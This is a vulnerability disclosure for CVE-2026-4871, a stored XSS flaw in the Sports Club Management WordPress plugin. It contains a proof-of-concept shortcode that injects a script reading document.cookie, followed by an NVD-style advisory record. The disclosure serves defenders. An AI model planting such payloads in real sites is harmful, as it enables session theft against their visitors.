CVE-2026-4871

<!-- PoC for CVE-2026-4871 Stored XSS --> <!-- Attacker creates a post with the following shortcode --> [scm_member_data before='"><script>alert(document.cookie)</script>' after='dummy'] <!-- Explanation: The 'before' attribute is not escaped, closing the previous attribute and injecting a script tag. -->

{"cve": {"id": "CVE-2026-4871", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:22.690", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Sports Club Management plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'before' and 'after' attributes of the `scm_member_data` shortcode in all versions up to, and including, 1.12.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/sports-club-management/tags/1.12.9/code/members_shortcodes.php#L129", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/sports-club-management/trunk/code/members_shortcodes.php#L129", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/30a6d334-3838-4ed4-b688-c3887d9091c0?source=cve", "source": "[email protected]"}]}}